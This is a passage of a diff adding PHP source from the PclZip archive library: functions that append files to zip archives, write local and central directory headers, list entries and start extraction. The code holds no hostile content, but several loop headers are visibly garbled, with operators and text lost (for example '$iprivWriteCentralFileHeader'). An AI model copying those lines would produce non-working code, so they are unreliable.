----- Look if the archive exists or is empty + if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0)) + { + + // ----- Do a create + $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options); + + // ----- Return + return $v_result; + } + // ----- Magic quotes trick + $this->privDisableMagicQuotes(); + + // ----- Open the zip file + if (($v_result=$this->privOpenFd('rb')) != 1) + { + // ----- Magic quotes trick + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_result; + } + + // ----- Read the central directory informations + $v_central_dir = array(); + if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) + { + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + return $v_result; + } + + // ----- Go to beginning of File + @rewind($this->zip_fd); + + // ----- Creates a temporay file + $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; + + // ----- Open the temporary file in write mode + if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0) + { + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Copy the files from the archive to the temporary file + // TBC : Here I should better append the file and go back to erase the central dir + $v_size = $v_central_dir['offset']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = fread($this->zip_fd, $v_read_size); + @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Swap the file descriptor + // Here is a trick : I swap the temporary fd with the zip fd, in order to use + // the following methods on the temporary fil and not the real archive + $v_swap = $this->zip_fd; + $this->zip_fd = $v_zip_temp_fd; + $v_zip_temp_fd = $v_swap; + + // ----- Add the files + $v_header_list = array(); + if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) + { + fclose($v_zip_temp_fd); + $this->privCloseFd(); + @unlink($v_zip_temp_name); + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_result; + } + + // ----- Store the offset of the central dir + $v_offset = @ftell($this->zip_fd); + + // ----- Copy the block of file headers from the old archive + $v_size = $v_central_dir['size']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($v_zip_temp_fd, $v_read_size); + @fwrite($this->zip_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Create the Central Dir files header + for ($i=0, $v_count=0; $iprivWriteCentralFileHeader($v_header_list[$i])) != 1) { + fclose($v_zip_temp_fd); + $this->privCloseFd(); + @unlink($v_zip_temp_name); + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_result; + } + $v_count++; + } + + // ----- Transform the header to a 'usable' info + $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); + } + + // ----- Zip file comment + $v_comment = $v_central_dir['comment']; + if (isset($p_options[PCLZIP_OPT_COMMENT])) { + $v_comment = $p_options[PCLZIP_OPT_COMMENT]; + } + if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) { + $v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT]; + } + if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) { + $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment; + } + + // ----- Calculate the size of the central header + $v_size = @ftell($this->zip_fd)-$v_offset; + + // ----- Create the central dir footer + if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1) + { + // ----- Reset the file list + unset($v_header_list); + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_result; + } + + // ----- Swap back the file descriptor + $v_swap = $this->zip_fd; + $this->zip_fd = $v_zip_temp_fd; + $v_zip_temp_fd = $v_swap; + + // ----- Close + $this->privCloseFd(); + + // ----- Close the temporary file + @fclose($v_zip_temp_fd); + + // ----- Magic quotes trick + $this->privSwapBackMagicQuotes(); + + // ----- Delete the zip file + // TBC : I should test the result ... + @unlink($this->zipname); + + // ----- Rename the temporary file + // TBC : I should test the result ... + //@rename($v_zip_temp_name, $this->zipname); + PclZipUtilRename($v_zip_temp_name, $this->zipname); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privOpenFd() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function privOpenFd($p_mode) + { + $v_result=1; + + // ----- Look if already open + if ($this->zip_fd != 0) + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Open the zip file + if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0) + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privCloseFd() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function privCloseFd() + { + $v_result=1; + + if ($this->zip_fd != 0) + @fclose($this->zip_fd); + $this->zip_fd = 0; + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privAddList() + // Description : + // $p_add_dir and $p_remove_dir will give the ability to memorize a path which is + // different from the real path of the file. This is usefull if you want to have PclTar + // running in any directory, and memorize relative path from an other directory. + // Parameters : + // $p_list : An array containing the file or directory names to add in the tar + // $p_result_list : list of added files with their properties (specially the status field) + // $p_add_dir : Path to add in the filename path archived + // $p_remove_dir : Path to remove in the filename path archived + // Return Values : + // -------------------------------------------------------------------------------- +// function privAddList($p_list, &$p_result_list, $p_add_dir, $p_remove_dir, $p_remove_all_dir, &$p_options) + function privAddList($p_filedescr_list, &$p_result_list, &$p_options) + { + $v_result=1; + + // ----- Add the files + $v_header_list = array(); + if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) + { + // ----- Return + return $v_result; + } + + // ----- Store the offset of the central dir + $v_offset = @ftell($this->zip_fd); + + // ----- Create the Central Dir files header + for ($i=0,$v_count=0; $iprivWriteCentralFileHeader($v_header_list[$i])) != 1) { + // ----- Return + return $v_result; + } + $v_count++; + } + + // ----- Transform the header to a 'usable' info + $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); + } + + // ----- Zip file comment + $v_comment = ''; + if (isset($p_options[PCLZIP_OPT_COMMENT])) { + $v_comment = $p_options[PCLZIP_OPT_COMMENT]; + } + + // ----- Calculate the size of the central header + $v_size = @ftell($this->zip_fd)-$v_offset; + + // ----- Create the central dir footer + if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1) + { + // ----- Reset the file list + unset($v_header_list); + + // ----- Return + return $v_result; + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privAddFileList() + // Description : + // Parameters : + // $p_filedescr_list : An array containing the file description + // or directory names to add in the zip + // $p_result_list : list of added files with their properties (specially the status field) + // Return Values : + // -------------------------------------------------------------------------------- + function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options) + { + $v_result=1; + $v_header = array(); + + // ----- Recuperate the current number of elt in list + $v_nb = sizeof($p_result_list); + + // ----- Loop on the files + for ($j=0; ($jprivAddFile($p_filedescr_list[$j], $v_header, + $p_options); + if ($v_result != 1) { + return $v_result; + } + + // ----- Store the file infos + $p_result_list[$v_nb++] = $v_header; + } + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privAddFile() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privAddFile($p_filedescr, &$p_header, &$p_options) + { + $v_result=1; + + // ----- Working variable + $p_filename = $p_filedescr['filename']; + + // TBC : Already done in the fileAtt check ... ? + if ($p_filename == "") { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Look for a stored different filename + /* TBC : Removed + if (isset($p_filedescr['stored_filename'])) { + $v_stored_filename = $p_filedescr['stored_filename']; + } + else { + $v_stored_filename = $p_filedescr['stored_filename']; + } + */ + + // ----- Set the file properties + clearstatcache(); + $p_header['version'] = 20; + $p_header['version_extracted'] = 10; + $p_header['flag'] = 0; + $p_header['compression'] = 0; + $p_header['crc'] = 0; + $p_header['compressed_size'] = 0; + $p_header['filename_len'] = strlen($p_filename); + $p_header['extra_len'] = 0; + $p_header['disk'] = 0; + $p_header['internal'] = 0; + $p_header['offset'] = 0; + $p_header['filename'] = $p_filename; +// TBC : Removed $p_header['stored_filename'] = $v_stored_filename; + $p_header['stored_filename'] = $p_filedescr['stored_filename']; + $p_header['extra'] = ''; + $p_header['status'] = 'ok'; + $p_header['index'] = -1; + + // ----- Look for regular file + if ($p_filedescr['type']=='file') { + $p_header['external'] = 0x00000000; + $p_header['size'] = filesize($p_filename); + } + + // ----- Look for regular folder + else if ($p_filedescr['type']=='folder') { + $p_header['external'] = 0x00000010; + $p_header['mtime'] = filemtime($p_filename); + $p_header['size'] = filesize($p_filename); + } + + // ----- Look for virtual file + else if ($p_filedescr['type'] == 'virtual_file') { + $p_header['external'] = 0x00000000; + $p_header['size'] = strlen($p_filedescr['content']); + } + + + // ----- Look for filetime + if (isset($p_filedescr['mtime'])) { + $p_header['mtime'] = $p_filedescr['mtime']; + } + else if ($p_filedescr['type'] == 'virtual_file') { + $p_header['mtime'] = time(); + } + else { + $p_header['mtime'] = filemtime($p_filename); + } + + // ------ Look for file comment + if (isset($p_filedescr['comment'])) { + $p_header['comment_len'] = strlen($p_filedescr['comment']); + $p_header['comment'] = $p_filedescr['comment']; + } + else { + $p_header['comment_len'] = 0; + $p_header['comment'] = ''; + } + + // ----- Look for pre-add callback + if (isset($p_options[PCLZIP_CB_PRE_ADD])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_header, $v_local_header); + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. +// eval('$v_result = '.$p_options[PCLZIP_CB_PRE_ADD].'(PCLZIP_CB_PRE_ADD, $v_local_header);'); + $v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header); + if ($v_result == 0) { + // ----- Change the file status + $p_header['status'] = "skipped"; + $v_result = 1; + } + + // ----- Update the informations + // Only some fields can be modified + if ($p_header['stored_filename'] != $v_local_header['stored_filename']) { + $p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']); + } + } + + // ----- Look for empty stored filename + if ($p_header['stored_filename'] == "") { + $p_header['status'] = "filtered"; + } + + // ----- Check the path length + if (strlen($p_header['stored_filename']) > 0xFF) { + $p_header['status'] = 'filename_too_long'; + } + + // ----- Look if no error, or file not skipped + if ($p_header['status'] == 'ok') { + + // ----- Look for a file + if ($p_filedescr['type'] == 'file') { + // ----- Look for using temporary file to zip + if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) + && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) + || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) + && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])) ) ) { + $v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options); + if ($v_result < PCLZIP_ERR_NO_ERROR) { + return $v_result; + } + } + + // ----- Use "in memory" zip algo + else { + + // ----- Open the source file + if (($v_file = @fopen($p_filename, "rb")) == 0) { + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode"); + return PclZip::errorCode(); + } + + // ----- Read the file content + $v_content = @fread($v_file, $p_header['size']); + + // ----- Close the file + @fclose($v_file); + + // ----- Calculate the CRC + $p_header['crc'] = @crc32($v_content); + + // ----- Look for no compression + if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) { + // ----- Set header parameters + $p_header['compressed_size'] = $p_header['size']; + $p_header['compression'] = 0; + } + + // ----- Look for normal compression + else { + // ----- Compress the content + $v_content = @gzdeflate($v_content); + + // ----- Set header parameters + $p_header['compressed_size'] = strlen($v_content); + $p_header['compression'] = 8; + } + + // ----- Call the header generation + if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { + @fclose($v_file); + return $v_result; + } + + // ----- Write the compressed (or not) content + @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']); + + } + + } + + // ----- Look for a virtual file (a file from string) + else if ($p_filedescr['type'] == 'virtual_file') { + + $v_content = $p_filedescr['content']; + + // ----- Calculate the CRC + $p_header['crc'] = @crc32($v_content); + + // ----- Look for no compression + if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) { + // ----- Set header parameters + $p_header['compressed_size'] = $p_header['size']; + $p_header['compression'] = 0; + } + + // ----- Look for normal compression + else { + // ----- Compress the content + $v_content = @gzdeflate($v_content); + + // ----- Set header parameters + $p_header['compressed_size'] = strlen($v_content); + $p_header['compression'] = 8; + } + + // ----- Call the header generation + if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { + @fclose($v_file); + return $v_result; + } + + // ----- Write the compressed (or not) content + @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']); + } + + // ----- Look for a directory + else if ($p_filedescr['type'] == 'folder') { + // ----- Look for directory last '/' + if (@substr($p_header['stored_filename'], -1) != '/') { + $p_header['stored_filename'] .= '/'; + } + + // ----- Set the file properties + $p_header['size'] = 0; + //$p_header['external'] = 0x41FF0010; // Value for a folder : to be checked + $p_header['external'] = 0x00000010; // Value for a folder : to be checked + + // ----- Call the header generation + if (($v_result = $this->privWriteFileHeader($p_header)) != 1) + { + return $v_result; + } + } + } + + // ----- Look for post-add callback + if (isset($p_options[PCLZIP_CB_POST_ADD])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_header, $v_local_header); + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. +// eval('$v_result = '.$p_options[PCLZIP_CB_POST_ADD].'(PCLZIP_CB_POST_ADD, $v_local_header);'); + $v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header); + if ($v_result == 0) { + // ----- Ignored + $v_result = 1; + } + + // ----- Update the informations + // Nothing can be modified + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privAddFileUsingTempFile() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options) + { + $v_result=PCLZIP_ERR_NO_ERROR; + + // ----- Working variable + $p_filename = $p_filedescr['filename']; + + + // ----- Open the source file + if (($v_file = @fopen($p_filename, "rb")) == 0) { + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode"); + return PclZip::errorCode(); + } + + // ----- Creates a compressed temporary file + $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz'; + if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) { + fclose($v_file); + PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode'); + return PclZip::errorCode(); + } + + // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks + $v_size = filesize($p_filename); + while ($v_size != 0) { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($v_file, $v_read_size); + //$v_binary_data = pack('a'.$v_read_size, $v_buffer); + @gzputs($v_file_compressed, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Close the file + @fclose($v_file); + @gzclose($v_file_compressed); + + // ----- Check the minimum file size + if (filesize($v_gzip_temp_name) < 18) { + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \''.$v_gzip_temp_name.'\' has invalid filesize - should be minimum 18 bytes'); + return PclZip::errorCode(); + } + + // ----- Extract the compressed attributes + if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) { + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); + return PclZip::errorCode(); + } + + // ----- Read the gzip file header + $v_binary_data = @fread($v_file_compressed, 10); + $v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data); + + // ----- Check some parameters + $v_data_header['os'] = bin2hex($v_data_header['os']); + + // ----- Read the gzip file footer + @fseek($v_file_compressed, filesize($v_gzip_temp_name)-8); + $v_binary_data = @fread($v_file_compressed, 8); + $v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data); + + // ----- Set the attributes + $p_header['compression'] = ord($v_data_header['cm']); + //$p_header['mtime'] = $v_data_header['mtime']; + $p_header['crc'] = $v_data_footer['crc']; + $p_header['compressed_size'] = filesize($v_gzip_temp_name)-18; + + // ----- Close the file + @fclose($v_file_compressed); + + // ----- Call the header generation + if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { + return $v_result; + } + + // ----- Add the compressed data + if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) + { + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); + return PclZip::errorCode(); + } + + // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks + fseek($v_file_compressed, 10); + $v_size = $p_header['compressed_size']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($v_file_compressed, $v_read_size); + //$v_binary_data = pack('a'.$v_read_size, $v_buffer); + @fwrite($this->zip_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Close the file + @fclose($v_file_compressed); + + // ----- Unlink the temporary file + @unlink($v_gzip_temp_name); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privCalculateStoredFilename() + // Description : + // Based on file descriptor properties and global options, this method + // calculate the filename that will be stored in the archive. + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privCalculateStoredFilename(&$p_filedescr, &$p_options) + { + $v_result=1; + + // ----- Working variables + $p_filename = $p_filedescr['filename']; + if (isset($p_options[PCLZIP_OPT_ADD_PATH])) { + $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH]; + } + else { + $p_add_dir = ''; + } + if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) { + $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH]; + } + else { + $p_remove_dir = ''; + } + if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { + $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH]; + } + else { + $p_remove_all_dir = 0; + } + + + // ----- Look for full name change + if (isset($p_filedescr['new_full_name'])) { + // ----- Remove drive letter if any + $v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']); + } + + // ----- Look for path and/or short name change + else { + + // ----- Look for short name change + // Its when we cahnge just the filename but not the path + if (isset($p_filedescr['new_short_name'])) { + $v_path_info = pathinfo($p_filename); + $v_dir = ''; + if ($v_path_info['dirname'] != '') { + $v_dir = $v_path_info['dirname'].'/'; + } + $v_stored_filename = $v_dir.$p_filedescr['new_short_name']; + } + else { + // ----- Calculate the stored filename + $v_stored_filename = $p_filename; + } + + // ----- Look for all path to remove + if ($p_remove_all_dir) { + $v_stored_filename = basename($p_filename); + } + // ----- Look for partial path remove + else if ($p_remove_dir != "") { + if (substr($p_remove_dir, -1) != '/') + $p_remove_dir .= "/"; + + if ( (substr($p_filename, 0, 2) == "./") + || (substr($p_remove_dir, 0, 2) == "./")) { + + if ( (substr($p_filename, 0, 2) == "./") + && (substr($p_remove_dir, 0, 2) != "./")) { + $p_remove_dir = "./".$p_remove_dir; + } + if ( (substr($p_filename, 0, 2) != "./") + && (substr($p_remove_dir, 0, 2) == "./")) { + $p_remove_dir = substr($p_remove_dir, 2); + } + } + + $v_compare = PclZipUtilPathInclusion($p_remove_dir, + $v_stored_filename); + if ($v_compare > 0) { + if ($v_compare == 2) { + $v_stored_filename = ""; + } + else { + $v_stored_filename = substr($v_stored_filename, + strlen($p_remove_dir)); + } + } + } + + // ----- Remove drive letter if any + $v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename); + + // ----- Look for path to add + if ($p_add_dir != "") { + if (substr($p_add_dir, -1) == "/") + $v_stored_filename = $p_add_dir.$v_stored_filename; + else + $v_stored_filename = $p_add_dir."/".$v_stored_filename; + } + } + + // ----- Filename (reduce the path of stored name) + $v_stored_filename = PclZipUtilPathReduction($v_stored_filename); + $p_filedescr['stored_filename'] = $v_stored_filename; + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privWriteFileHeader() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privWriteFileHeader(&$p_header) + { + $v_result=1; + + // ----- Store the offset position of the file + $p_header['offset'] = ftell($this->zip_fd); + + // ----- Transform UNIX mtime to DOS format mdate/mtime + $v_date = getdate($p_header['mtime']); + $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2; + $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday']; + + // ----- Packed data + $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50, + $p_header['version_extracted'], $p_header['flag'], + $p_header['compression'], $v_mtime, $v_mdate, + $p_header['crc'], $p_header['compressed_size'], + $p_header['size'], + strlen($p_header['stored_filename']), + $p_header['extra_len']); + + // ----- Write the first 148 bytes of the header in the archive + fputs($this->zip_fd, $v_binary_data, 30); + + // ----- Write the variable fields + if (strlen($p_header['stored_filename']) != 0) + { + fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename'])); + } + if ($p_header['extra_len'] != 0) + { + fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privWriteCentralFileHeader() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privWriteCentralFileHeader(&$p_header) + { + $v_result=1; + + // TBC + //for(reset($p_header); $key = key($p_header); next($p_header)) { + //} + + // ----- Transform UNIX mtime to DOS format mdate/mtime + $v_date = getdate($p_header['mtime']); + $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2; + $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday']; + + + // ----- Packed data + $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50, + $p_header['version'], $p_header['version_extracted'], + $p_header['flag'], $p_header['compression'], + $v_mtime, $v_mdate, $p_header['crc'], + $p_header['compressed_size'], $p_header['size'], + strlen($p_header['stored_filename']), + $p_header['extra_len'], $p_header['comment_len'], + $p_header['disk'], $p_header['internal'], + $p_header['external'], $p_header['offset']); + + // ----- Write the 42 bytes of the header in the zip file + fputs($this->zip_fd, $v_binary_data, 46); + + // ----- Write the variable fields + if (strlen($p_header['stored_filename']) != 0) + { + fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename'])); + } + if ($p_header['extra_len'] != 0) + { + fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']); + } + if ($p_header['comment_len'] != 0) + { + fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privWriteCentralHeader() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment) + { + $v_result=1; + + // ----- Packed data + $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries, + $p_nb_entries, $p_size, + $p_offset, strlen($p_comment)); + + // ----- Write the 22 bytes of the header in the zip file + fputs($this->zip_fd, $v_binary_data, 22); + + // ----- Write the variable fields + if (strlen($p_comment) != 0) + { + fputs($this->zip_fd, $p_comment, strlen($p_comment)); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privList() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privList(&$p_list) + { + $v_result=1; + + // ----- Magic quotes trick + $this->privDisableMagicQuotes(); + + // ----- Open the zip file + if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0) + { + // ----- Magic quotes trick + $this->privSwapBackMagicQuotes(); + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read the central directory informations + $v_central_dir = array(); + if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) + { + $this->privSwapBackMagicQuotes(); + return $v_result; + } + + // ----- Go to beginning of Central Dir + @rewind($this->zip_fd); + if (@fseek($this->zip_fd, $v_central_dir['offset'])) + { + $this->privSwapBackMagicQuotes(); + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read each entry + for ($i=0; $i<$v_central_dir['entries']; $i++) + { + // ----- Read the file header + if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) + { + $this->privSwapBackMagicQuotes(); + return $v_result; + } + $v_header['index'] = $i; + + // ----- Get the only interesting attributes + $this->privConvertHeader2FileInfo($v_header, $p_list[$i]); + unset($v_header); + } + + // ----- Close the zip file + $this->privCloseFd(); + + // ----- Magic quotes trick + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privConvertHeader2FileInfo() + // Description : + // This function takes the file informations from the central directory + // entries and extract the interesting parameters that will be given back. + // The resulting file infos are set in the array $p_info + // $p_info['filename'] : Filename with full path. Given by user (add), + // extracted in the filesystem (extract). + // $p_info['stored_filename'] : Stored filename in the archive. + // $p_info['size'] = Size of the file. + // $p_info['compressed_size'] = Compressed size of the file. + // $p_info['mtime'] = Last modification date of the file. + // $p_info['comment'] = Comment associated with the file. + // $p_info['folder'] = true/false : indicates if the entry is a folder or not. + // $p_info['status'] = status of the action on the file. + // $p_info['crc'] = CRC of the file content. + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privConvertHeader2FileInfo($p_header, &$p_info) + { + $v_result=1; + + // ----- Get the interesting attributes + $v_temp_path = PclZipUtilPathReduction($p_header['filename']); + $p_info['filename'] = $v_temp_path; + $v_temp_path = PclZipUtilPathReduction($p_header['stored_filename']); + $p_info['stored_filename'] = $v_temp_path; + $p_info['size'] = $p_header['size']; + $p_info['compressed_size'] = $p_header['compressed_size']; + $p_info['mtime'] = $p_header['mtime']; + $p_info['comment'] = $p_header['comment']; + $p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010); + $p_info['index'] = $p_header['index']; + $p_info['status'] = $p_header['status']; + $p_info['crc'] = $p_header['crc']; + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privExtractByRule() + // Description : + // Extract a file or directory depending of rules (by index, by name, ...) + // Parameters : + // $p_file_list : An array where will be placed the properties of each + // extracted file + // $p_path : Path to add while writing the extracted files + // $p_remove_path : Path to remove (from the file memorized path) while writing the + // extracted files. If the path does not match the file path, + // the file is extracted with its memorized path. + // $p_remove_path does not apply to 'list' mode. + // $p_path and $p_remove_path are commulative. + // Return Values : + // 1 on success,0 or less on error (see error code list) + // -------------------------------------------------------------------------------- + function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options) + { + $v_result=1; + + // ----- Magic quotes trick + $this->privDisableMagicQuotes(); + + // ----- Check the path + if ( ($p_path == "") + || ( (substr($p_path, 0, 1) != "/") + && (substr($p_path, 0, 3) != "../") + && (substr($p_path,1,2)!=":/"))) + $p_path = "./".$p_path; + + // ----- Reduce the path last (and duplicated) '/' + if (($p_path != "./") && ($p_path != "/")) + { + // ----- Look for the path end '/' + while (substr($p_path, -1) == "/") + { + $p_path = substr($p_path, 0, strlen($p_path)-1); + } + } + + // ----- Look for path to remove format (should end by /) + if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/')) + { + $p_remove_path .= '/'; + } + $p_remove_path_size = strlen($p_remove_path); + + // ----- Open the zip file + if (($v_result = $this->privOpenFd('rb')) != 1) + { + $this->privSwapBackMagicQuotes(); + return $v_result; + } + + // ----- Read the central directory informations + $v_central_dir = array(); + if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) + { + // ----- Close the zip file + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + + return $v_result; + } + + // ----- 